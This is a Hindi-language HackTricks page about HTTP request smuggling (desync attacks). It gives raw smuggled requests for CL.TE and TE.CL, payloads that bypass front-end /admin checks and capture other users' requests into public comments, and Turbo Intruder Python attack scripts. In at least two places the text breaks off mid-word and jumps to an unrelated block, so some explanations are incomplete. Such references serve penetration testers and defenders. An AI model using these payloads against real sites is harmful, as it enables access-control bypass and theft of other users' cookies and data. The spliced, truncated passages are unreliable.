# HTTP Request Smuggling / HTTP Desync Attack

<details>

<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>

HackTricks का समर्थन करने के अन्य तरीके:

* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**.
* **अपनी हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके.

</details>

## क्या है

यह भेद्यता तब होती है जब **front-end proxies** और **back-end** सर्वर के बीच **असमन्वयन** एक **हमलावर** को HTTP **request** भेजने की अनुमति देता है जिसे **front-end** proxies (load balance/reverse-proxy) द्वारा **एकल request** के रूप में और **back-end** सर्वर द्वारा **2 request** के रूप में **व्याख्या** की जाएगी।\
इससे एक उपयोगकर्ता **back-end सर्वर पर अपने बाद आने वाले अगले request को संशोधित करने में सक्षम होता है**।

### सिद्धांत

[**RFC विनिर्देश (2161)**](https://tools.ietf.org/html/rfc2616)

> यदि कोई संदेश Transfer-Encoding हेडर फील्ड और Content-Length हेडर फील्ड दोनों के साथ प्राप्त होता है, तो बाद वाले को अनदेखा करना चाहिए।

**Content-Length**

> Content-Length इकाई हेडर प्राप्तकर्ता को भेजे गए इकाई-शरीर के आकार को बाइट्स में दर्शाता है।

**Transfer-Encoding: chunked**

> Transfer-Encoding हेडर पेलोड शरीर को सुरक्षित रूप से उपयोगकर्ता तक पहुँचाने के लिए प्रयुक्त एन्कोडिंग के रूप को निर्दिष्ट करता है।\
> Chunked का अर्थ है कि बड़े डेटा को एक श्रृंखला में चंक्स के रूप में भेजा जाता है

### वास्तविकता

**Front-End** (एक load-balance / Reverse Proxy) _**content-length**_ या _**transfer-encoding**_ हेडर को **प्रोसेस** करता है और **Back-end** सर्वर **दूसरे** को प्रोसेस करता है, जिससे दोनों सिस्टमों के बीच **असमन्वयन** होता है।\
यह बहुत गंभीर हो सकता है क्योंकि **हमलावर एक ऐसा request भेजने में सक्षम होगा** जिसे reverse proxy द्वारा **व्याख्या** की जाएगी और **back-end** सर्वर इसे **2 अलग-अलग requests** के रूप में **समझेगा**। इस तकनीक का **खतरा** इस तथ्य में निहित है कि **back-end** सर्वर **2nd request को इंजेक्ट किए गए** के रूप में **व्याख्या करेगा** जैसे कि यह **अगले ग्राहक से आया हो** और **वास्तविक request** उस ग्राहक की **इंजेक्ट किए गए request का हिस्सा** होगी।

### विशेषताएँ

याद रखें कि HTTP में **नई लाइन चरित्र 2 बाइट्स से बना होता है:**

* **Content-Length**: यह हेडर एक **दशमलव संख्या** का उपयोग करता है जो request के **शरीर** के **बाइट्स** की **संख्या** को दर्शाता है। शरीर का अंत अंतिम चरित्र में होने की उम्मीद है, **request के अंत में नई लाइन की आवश्यकता नहीं होती**।
* **Transfer-Encoding:** यह हेडर **शरीर** में एक **हेक्साडेसिमल संख्या** का उपयोग करता है जो **अगले चंक** के **बाइट्स** की **संख्या** को दर्शाता है। **चंक** को **नई लाइन** के साथ **समाप्त** होना चाहिए लेकिन यह नई लाइन लंबाई संकेतक द्वारा **गिनी नहीं जाती** है। इस ट्रांसफर विधि का अंत **आकार 0 के चंक के साथ होना चाहिए जिसके बाद 2 नई लाइनें हों**: `0`
* **Connection**: मेरे अनुभव के आधार पर, request Smuggling के पहले request में **`Connection: keep-alive`** का उपयोग करना सिफारिश की जाती है।

## मूल उदाहरण

तो, request smuggling हमले एक ही HTTP request में `Content-Length` हेडर और `Transfer-Encoding` हेडर दोनों को रखने और इन्हें इस तरह से मैनिपुलेट करने में शामिल हैं ताकि front-end और back-end सर्वर अलग-अलग तरीके से request को प्रोसेस करें। इसे किस तरह से किया जाता है यह दोनों सर्वरों के व्यवहार पर निर्भर करता है:

* **CL.TE**: front-end सर्वर `Content-Length` हेडर का उपयोग करता है और back-end सर्वर `Transfer-Encoding` हेडर का उपयोग करता है।
* **TE.CL**: front-end सर्वर `Transfer-Encoding` हेडर का उपयोग करता है और back-end सर्वर `Content-Length` हेडर का उपयोग करता है।
* **TE.TE**: front-end और back-end सर्वर दोनों `Transfer-Encoding` हेडर का समर्थन करते हैं, लेकिन सर्वरों में से एक को हेडर को किसी तरह से अस्पष्ट करके प्रोसेस नहीं करने के लिए प्रेरित किया जा सकता है।

### CL.TE भेद्यताएँ

यहाँ, **front-end** सर्वर **`Content-Length`** हेडर का उपयोग करता है और **back-end** सर्वर **`Transfer-Encoding`** हेडर का। हम निम्नलिखित के रूप में एक सरल HTTP request smuggling हमला कर सकते हैं:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Content-Length: 30`\
`Connection: keep-alive`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /404 HTTP/1.1`\
`Foo: x`

ध्यान दें कि `Content-Length` इंगित करता है कि **बॉडीज़ request की लंबाई 30 बाइट्स लंबी है** (_याद रखें कि HTTP नई लाइन के रूप में उपयोग करता है, इसलिए प्रत्येक नई लाइन 2बाइट्स_), इसलिए reverse proxy **पूरा request back-end को भेज देगा**, और back-end `Transfer-Encoding` हेडर को प्रोसेस करेगा जिससे `GET /404 HTTP/1.1` **अगले request की शुरुआत के रूप में छोड़ दिया जाएगा** (वैसे, अगला request `Foo:x<Next request starts here>` से जुड़ा होगा)।

### TE.CL भेद्यताएँ

यहाँ, front-end सर्वर `Transfer-Encoding` हेडर का उपयोग करता है और back-end सर्वर `Content-Length` हेडर का। हम निम्नलिखित के रूप में एक सरल HTTP request smuggling हमला कर सकते हैं:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Content-Length: 4`\
`Connection: keep-alive`\
`Transfer-Encoding: chunked`\
``\ `7b`\ `GET /404 HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 30`\``\
`x=`\
`0`\
`\`

इस मामले में **reverse-proxy** **पूरा request back-end को भेज देगा** क्योंकि **`Transfer-encoding`** ऐसा इंगित करता है। लेकिन, **back-end** केवल **`7b`** (4बाइट्स) को प्रोसेस करेगा जैसा कि `Content-Length` में इंगित है। इसलिए, अगला request वह होगा जो `GET /404 HTTP/1.1` से शुरू होता है।

_ध्यान दें कि भले ही हमला `0` के साथ समाप्त होना चाहिए, अगला request **x** पैरामीटर के अतिरिक्त मानों के रूप में जोड़ा जाएगा।_\
_यह भी ध्यान दें कि एम्बेडेड request का Content-Length अगले request की लंबाई को इंगित करेग
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
```
चूंकि फ्रंट-एंड सर्वर `Content-Length` हेडर का उपयोग करता है, यह केवल इस अनुरोध का एक हिस्सा आगे भेजेगा, `0` को छोड़कर। बैक-एंड सर्वर `Transfer-Encoding` हेडर का उपयोग करता है, पहले चंक को प्रोसेस करता है, और फिर अगले चंक के आने का इंतजार करता है। इससे एक परिलक्षित समय देरी होगी।

कभी-कभी, आपको टाइमआउट के बजाय अंतिम होस्ट से 400 बैड रिक्वेस्ट मिलती है, जैसे कि निम्नलिखित परिदृश्य में, जहां एक CL.TE पेलोड भेजा जाता है:

![](<../../.gitbook/assets/image (444).png>)

और प्रतिक्रिया में एक रीडायरेक्ट होता है जिसमें शरीर के अंदर एक त्रुटि होती है और यहां तक कि haproxy का इस्तेमाल किया गया संस्करण भी होता है:

![](<../../.gitbook/assets/image (443).png>)

### TE.CL भेद्यताओं को समय तकनीकों का उपयोग करके खोजना

यदि कोई एप्लिकेशन TE.CL वेरिएंट के अनुरोध तस्करी के लिए भेद्य है, तो निम्नलिखित जैसा अनुरोध भेजने से अक्सर समय देरी होगी:
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
```
### HTTP Request Smuggling संवेदनशीलताओं की जांच करना

एक बार जब आप पाते हैं कि **समय तकनीकें काम कर रही हैं**, आपको **जांच** करनी चाहिए कि आप **अन्य ग्राहकों के अनुरोधों को बदल सकते हैं**।\
इसे करने का सबसे आसान तरीका अपने स्वयं के अनुरोधों को विषाक्त करने की कोशिश करना है, **उदाहरण के लिए `/` के लिए एक अनुरोध एक 404 वापस करें**।\
[मूल उदाहरणों](./#basic-examples) में हमने पहले ही `CL.TE` और `TE.CL` उदाहरण देखे हैं कि कैसे एक ग्राहक के अनुरोध को विषाक्त करने के लिए `/404` मांगना चाहिए, जब ग्राहक किसी अन्य संसाधन के लिए पूछ रहा हो तो 404 प्रतिक्रिया उत्पन्न करना।

**नोट्स**

अन्य अनुरोधों के साथ हस्तक्षेप के माध्यम से अनुरोध स्मगलिंग संवेदनशीलताओं की पुष्टि करने की कोशिश करते समय कुछ महत्वपूर्ण विचारों को ध्यान में रखा जाना चाहिए:

* "हमला" अनुरोध और "सामान्य" अनुरोध को अलग-अलग नेटवर्क कनेक्शनों का उपयोग करके सर्वर को भेजा जाना चाहिए। दोनों अनुरोधों को एक ही कनेक्शन के माध्यम से भेजने से यह साबित नहीं होगा कि संवेदनशीलता मौजूद है।
* "हमला" अनुरोध और "सामान्य" अनुरोध को जितना संभव हो सके एक ही URL और पैरामीटर नामों का उपयोग करना चाहिए। यह इसलिए है क्योंकि कई आधुनिक अनुप्रयोग URL और पैरामीटरों के आधार पर फ्रंट-एंड अनुरोधों को विभिन्न बैक-एंड सर्वरों को रूट करते हैं। एक ही URL और पैरामीटरों का उपयोग करने से यह संभावना बढ़ जाती है कि अनुरोधों को एक ही बैक-एंड सर्वर द्वारा संसाधित किया जाएगा, जो हमले के काम करने के लिए आवश्यक है।
* "सामान्य" अनुरोध का परीक्षण करते समय "हमला" अनुरोध से किसी भी हस्तक्षेप का पता लगाने के लिए, आप उसी समय अनुप्रयोग द्वारा प्राप्त किए जा रहे किसी अन्य अनुरोधों के साथ दौड़ में हैं, जिसमें अन्य उपयोगकर्ताओं से भी शामिल हैं। आपको "सामान्य" अनुरोध को "हमला" अनुरोध के तुरंत बाद भेजना चाहिए। यदि अनुप्रयोग व्यस्त है, तो आपको संवेदनशीलता की पुष्टि करने के लिए कई प्रयास करने पड़ सकते हैं।
* कुछ अनुप्रयोगों में, फ्रंट-एंड सर्वर एक लोड बैलेंसर के रूप में कार्य करता है, और किसी लोड बैलेंसिंग एल्गोरिथम के अनुसार विभिन्न बैक-एंड सिस्टमों को अनुरोध अग्रेषित करता है। यदि आपके "हमला" और "सामान्य" अनुरोध विभिन्न बैक-एंड सिस्टमों को अग्रेषित किए जाते हैं, तो हमला विफल हो जाएगा। यह एक अतिरिक्त कारण है कि आपको संवेदनशीलता की पुष्टि करने से पहले कई बार प्रयास करने पड़ सकते हैं।
* यदि आपका हमला एक बाद के अनुरोध के साथ हस्तक्षेप करने में सफल होता है, लेकिन यह "सामान्य" अनुरोध नहीं था जिसे आपने हस्तक्षेप का पता लगाने के लिए भेजा था, तो इसका मतलब है कि आपके हमले से एक अन्य अनुप्रयोग उपयोगकर्ता प्रभावित हुआ था। यदि आप परीक्षण जारी रखते हैं, तो इससे अन्य उपयोगकर्ताओं पर विघटनकारी प्रभाव पड़ सकता है, और आपको सावधानी बरतनी चाहिए।

### हॉप-बाय-हॉप हेडर्स के माध्यम से जबरदस्ती करना

हॉप-बाय-हॉप हेडर्स का दुरुपयोग करके आप प्रॉक्सी को संकेत दे सकते हैं कि **हेडर Content-Length या Transfer-Encoding को हटा दें ताकि HTTP अनुरोध स्मगलिंग का दुरुपयोग संभव हो सके**।
```
Connection: Content-Length
```
हॉप-बाय-हॉप हेडर्स के बारे में **अधिक जानकारी के लिए** यहां जाएं:

{% content-ref url="../abusing-hop-by-hop-headers.md" %}
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
{% endcontent-ref %}

## HTTP अनुरोध स्मगलिंग का दुरुपयोग

### फ्रंट-एंड सुरक्षा नियंत्रणों को बायपास करने के लिए

कभी-कभी **फ्रंट-एंड प्रॉक्सी कुछ सुरक्षा जांच करते हैं**। आप HTTP अनुरोध स्मगलिंग का दुरुपयोग करके उनसे बच सकते हैं क्योंकि आप **सुरक्षा उपायों को बायपास कर पाएंगे**। उदाहरण के लिए, इस उदाहरण में आप **बाहर से `/admin` तक पहुंच नहीं सकते** और फ्रंट-एंड प्रॉक्सी इसकी जांच कर रही है, लेकिन यह **प्रॉक्सी एम्बेडेड अनुरोध की जांच नहीं कर रही है**:

**CL.TE**

`POST / HTTP/1.1`\
`Host: acb21fdd1f98c4f180c02944000100b5.web-security-academy.net`\
`Cookie: session=xht3rUYoc83NfuZkuAp8sDxzf0AZIwQr`\
`Connection: keep-alive`\
`Content-Type: application/x-www-form-urlencoded`\
`Content-Length: 67`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /admin HTTP/1.1`\
`Host: localhost`\
`Content-Length: 10`\
\`\`\
`x=`

**TE.CL**

`POST / HTTP/1.1`\
`Host: ace71f491f52696180f41ed100d000d4.web-security-academy.net`\
`Cookie: session=Dpll5XYw4hNEu09dGccoTjHlFNx5QY1c`\
`Content-Type: application/x-www-form-urlencoded`\
`Connection: keep-alive`\
`Content-Length: 4`\
`Transfer-Encoding: chunked`\
`2b`\
`GET /admin HTTP/1.1`\
`Host: localhost`\
`a=x`\
`0`\
`\`

### फ्रंट-एंड अनुरोध पुनर्लेखन का पता लगाना <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>

कई एप्लिकेशनों में, **फ्रंट-एंड सर्वर अनुरोधों का कुछ पुनर्लेखन करता है** इससे पहले कि वे बैक-एंड सर्वर को भेजे जाएं, आमतौर पर कुछ अतिरिक्त अनुरोध हेडर्स जोड़कर।\
एक सामान्य बात यह है कि **अनुरोध में हेडर** `X-Forwarded-For: <IP of the client>` या कुछ इसी तरह का हेडर जोड़ना ताकि बैक-एंड को क्लाइंट का IP पता चल सके।\
कभी-कभी, अगर आप **पता लगा सकते हैं कि कौन से नए मान अनुरोध में जोड़े गए हैं** तो आप **सुरक्षा उपायों को बायपास कर सकते हैं** और **छिपी हुई जानकारी**/**एंडपॉइंट्स तक पहुंच सकते हैं**।

प्रॉक्सी द्वारा अनुरोध कैसे पुनर्लिखित किया जा रहा है यह जानने के लिए आपको **एक POST पैरामीटर ढूंढना होगा जिसका मान बैक-एंड प्रतिबिंबित करेगा** उत्तर में। फिर, इस पैरामीटर का उपयोग अंतिम एक के रूप में करें और इस तरह का एक्सप्लॉइट का उपयोग करें:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Content-Length: 130`\
`Connection: keep-alive`\
`Transfer-Encoding: chunked`\
`0`\
``\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\``\
`search=`

इस मामले में अगला अनुरोध `search=` के बाद जोड़ा जाएगा जो यह भी **पैरामीटर है जिसका मान प्रतिबिंबित होने वाला है** उत्तर में, इसलिए यह **अगले अनुरोध के हेडर्स को प्रतिबिंबित करेगा**।

ध्यान दें कि **केवल एम्बेडेड अनुरोध के `Content-Length` हेडर में इंगित लंबाई प्रतिबिंबित की जाएगी**। अगर आप कम संख्या का उपयोग करते हैं, तो केवल कुछ बाइट्स प्रतिबिंबित होंगे, अगर आप सभी हेडर्स की लंबाई से बड़ी संख्या का उपयोग करते हैं, तो एम्बेडेड अनुरोध एक त्रुटि फेंक देगा। फिर, आपको **छोटी संख्या** से **शुरू करना चाहिए** और इसे **बढ़ाना चाहिए** जब तक आप सभी देखना चाहते हैं।\
यह भी ध्यान दें कि यह **तकनीक TE.CL** भेद्यता के साथ भी शोषण की जा सकती है लेकिन अनुरोध को `search=\r\n0` के साथ समाप्त होना चाहिए। हालांकि, नई पंक्ति वर्णों के बावजूद मान सर्च पैरामीटर में जोड़े जाएंगे।

अंत में ध्यान दें कि इस हमले में हम अभी भी खुद पर हमला कर रहे हैं ताकि यह जान सकें कि फ्रंट-एंड प्रॉक्सी अनुरोध को कैसे पुनर्लिखित कर रहा है।

### अन्य उपयोगकर्ताओं के अनुरोधों को कैप्चर करना <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>

अगर आप एक POST अनुरोध ढूंढ सकते हैं जो एक पैरामीटर की सामग्री को सहेजने वाला है तो आप उस पैरामीटर के मान के रूप में निम्नलिखित अनुरोध जोड़ सकते हैं ताकि अगले ग्राहक के क्वेस्ट को स्टोर कर सकें:

`POST / HTTP/1.1`\
`Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net`\
`Content-Type: application/x-www-form-urlencoded`\
`Content-Length: 319`\
`Connection: keep-alive`\
`Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`POST /post/comment HTTP/1.1`\
`Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net`\
`Content-Length: 659`\
`Content-Type: application/x-www-form-urlencoded`\
`Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi`\
\`\`\
`csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=`

इस मामले में, **पैरामीटर कमेंट** का मान **एक पोस्ट के कमेंट में सहेजा जाएगा** जो पेज पर **सार्वजनिक रूप से उपलब्ध है**, इसलिए एक **कमेंट अगले अनुरोध की सामग्री के साथ दिखाई देगा**।

_इस तकनीक की एक सीमा यह है कि यह आमतौर पर केवल उस पैरामीटर विभाजक तक डेटा कैप्चर करेगा जो स्मगल किए गए अनुरोध के लिए लागू होता है। URL-एन्कोडेड फॉर्म सबमिशन के लिए, यह `&` वर्ण होगा, जिसका अर्थ है कि पीड़ित उपयोगकर्ता के अनुरोध से संग्रहीत सामग्री पहले `&` पर समाप्त हो जाएगी, जो क्वेरी स्ट्रिंग में भी दिखाई दे सकता है।_

यह भी ध्यान दें कि यह **तकनीक TE.CL** भेद्यता के साथ भी शोषण की जा सकती है लेकिन अनुरोध को `search=\r\n0` के साथ समाप्त होना चाहिए। हालांकि, नई पंक्ति वर्णों के बावजूद मान सर्च पैरामीटर में जोड़े जाएंगे।

### प्रतिबिंबित XSS का शोषण करने के लिए HTTP अनुरोध स्मगलिंग का उपयोग

अगर वेब पेज **प्रतिबिंबित XSS के लिए भी भेद्य है**, तो आप HTTP अनुरोध स्मगलिंग का दुरुपयोग करके वेब के ग्राहकों पर हमला कर सकते हैं। HTTP अनुरोध स्मगलिंग से प्रतिबिंबित XSS के शोषण के कुछ फायदे हैं:

* **इसके लिए पीड़ित उपयोगकर्ताओं के साथ कोई बातचीत की आवश्यकता नहीं है**
* इसका उपयोग अनुरोध के उन हिस्सों में XSS व्यवहार का **शोषण करने के लिए किया जा सकता है जिन्हें सामान्य प्रत
```python
def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)
```
### TE.CL

से: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)
```
## अधिक जानकारी

![](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)

[यहाँ से छवि।](https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104)

## उपकरण

* [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): यह उपकरण एक व्याकरण-आधारित HTTP Fuzzer है जो अजीब request smuggling विसंगतियों को खोजने में उपयोगी है।

## संदर्भ

* [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
* [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
* [https://portswigger.net/web-security/request-smuggling/exploiting](https://portswigger.net/web-security/request-smuggling/exploiting)
* [https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4](https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4)
* [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/)
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)

<details>

<summary><strong>AWS hacking सीखें zero से hero तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>

HackTricks का समर्थन करने के अन्य तरीके:

* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** को फॉलो करें.**
* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी hacking tricks साझा करें।

</details>